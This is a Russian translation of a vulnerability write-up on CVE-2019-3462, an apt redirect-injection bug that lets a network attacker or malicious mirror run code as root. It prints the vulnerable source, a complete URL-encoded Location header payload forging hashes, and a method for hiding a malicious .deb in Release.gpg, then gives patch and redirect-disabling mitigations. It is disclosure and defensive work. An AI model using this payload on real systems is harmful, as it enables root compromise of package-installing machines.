Linux — RCE в Apt/Apt-get

Вчера, специалист по ИБ из Чехии Max Justicz обнаружил уязвимость в Apt, которая позволяет сетевому посреднику (или зеркалу вредоносного пакета) выполнять произвольный код от имени пользователя root на машине, устанавливающей любой пакет.

В качестве доказательства концепции ниже приведено видео он использует Dockerfile

FROM debian:latest
RUN apt-get update && apt-get install -y cowsay

Предисловие и пояснение

При получении данных apt разветвляет рабочие процессы, которые специализируются на различных протоколах, которые будут использоваться для передачи данных.

Затем родительский процесс связывается с работниками через stdin / stdout, чтобы сообщить им, что загрузить и куда поместить его в файловую систему, используя протокол, который немного похож на HTTP.

Например, при запуске apt install cowsay на машине с использованием репозиториев, обслуживаемых по HTTP, apt отключит / usr / lib / apt / Methods / http, который возвращает сообщение 100 Capabilities:

100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

Затем родительский процесс отправит свою конфигурацию и запросит ресурс, например так:

601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

Получим ответ:

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

Когда HTTP-сервер отвечает перенаправлением, рабочий процесс возвращает редирект 103 вместо URI 201 «Done» и родительский процесс использует этот ответ, чтобы выяснить, какой ресурс он должен запросить следующим:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

Уязвимость

К сожалению, процесс получения HTTP-адреса декодирует заголовок HTTP Location и вслепую добавляет его к ответу 103 Redirect:

// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
<< "New-URI: " << NewURI << "\n"
<< "\n" << std::flush;
Dequeue();
}

(Примечание: здесь есть важные различия между разными версиями apt. Приведенный выше код взят из 1.4.y, который используется в последних версиях Debian. Некоторые последние версии Ubuntu используют 1.6.y, который не просто добавляет URI вслепую, однако все еще существует уязвимость внедрения в последующие 600 URI Acquire, сделанных процессу HTTP. Я не проверял другие версии.)

Так что, если HTTP-сервер отправил Location: / new-uri% 0AFoo% 3A% 20Bar, процесс получения HTTP-ответа ответил бы следующим образом:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

Если HTTP-сервер отправил:

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

тогда процесс HTTP-сборщика ответил бы так:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

Родительский процесс будет доверять хэшам возвращенным в введенном ответе 201 URI Done, и сравнивать их со значениями из подписанного манифеста пакета.

Поскольку злоумышленник контролирует сообщенные хэши, он может использовать эту уязвимость, чтобы подделать любой пакет.

Planting the malicious package

В доказательстве своей концепции, поскольку я решил сразу ввести ответ 201 URI Done, мне пришлось иметь дело с тем фактом, что на самом деле еще не было загружено ни одного пакета в репозиторий. Мне нужен был способ загрузить мой вредоносный файл .deb в систему для использования в параметре Filename.

Для этого я воспользовался тем, что файл Release.gpg извлеченный во время обновления apt установлен в нужном месте. В частности, Release.gpg содержит подписи PGP в ASCII-armored, которые выглядят так:

-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

Но процесс проверки подписи apt полностью подходит для присутствия другого мусора в этом файле, если он не касается сигнатур. Поэтому я перехватил ответ Release.gpg и добавил к нему мой вредоносный deb:

<oops.deb contents>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

Затем я установил параметр Filename в ответе 201 URI Done:

/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

The http/https debate

По умолчанию Debian и Ubuntu из коробки используют обычные http-репозитории (Debian позволяет вам выбрать во время установки, какое зеркало вы хотите, но на самом деле по умолчанию нет поддержки репозиториев https — сначала нужно установить apt-transport-https

Если манифесты пакетов подписаны, зачем использовать https? В конце концов, преимущества конфиденциальности минимальны, потому что размеры пакетов хорошо известны. А использование https усложняет кеширование контента.

Существуют специализированные веб-сайты, посвященные объяснению того, почему использование https бессмысленно в контексте apt.

Это хорошие моменты, но есть ошибки, подобные той, о которой я писал в этом посте. И этот баг даже не особенный — вот другой, который Дженн Хорн обнаружил в 2016 году с тем же эффектом.

Да, вредоносное зеркало может по-прежнему использовать такую ​​ошибку, даже с https. Но я подозреваю, что сетевой злоумышленник, обслуживающий эксплойт, гораздо более вероятен, чем deb.debian.org, обслуживающий один или скомпрометированный их TLS сертификат.

Поддержка http нормальная штука. Я просто думаю, что стоит сделать репозитории по умолчанию https — что в разы безопаснее и всегда можно вернуться на небезопасный http. Я не смог бы использовать Dockerfile если бы серверы пакетов по умолчанию использовали https.

Решение:

Этой ошибке был присвоен CVE-2019-3462. Ошибка была исправлена ​​в последних версиях Apt так что обновление ребята и еще раз обновление:

apt update && apt upgrade -y

Если Вы беспокоитесь о том, что вас могут поиметь и Вы не можете или не хотите обновляться, вы можете защитить себя отключив HTTP-перенаправления во время обновления. Для этого выполните:

sudo apt update -o Acquire::http::AllowRedirect=false
sudo apt upgrade -o Acquire::http::AllowRedirect=false

Если ваш текущий пакет зеркал перенаправляет по умолчанию (то есть вы не можете обновлять apt при использовании этого флага), вам нужно выбрать разные зеркала или загрузить пакет напрямую. Конкретные инструкции по обновлению на Debian можно найти здесь. Объявление об Ubuntu можно найти здесь.

Взято и переведено © https://justi.cz

В результате выпущен корректирующий релиз Debian 9.7 где уже в установочном образе закрыта эта уязвимость.
Интересно то, что этот релиз содержит только корректировки для apt уязвимости:
https://www.debian.org/News/2019/20190123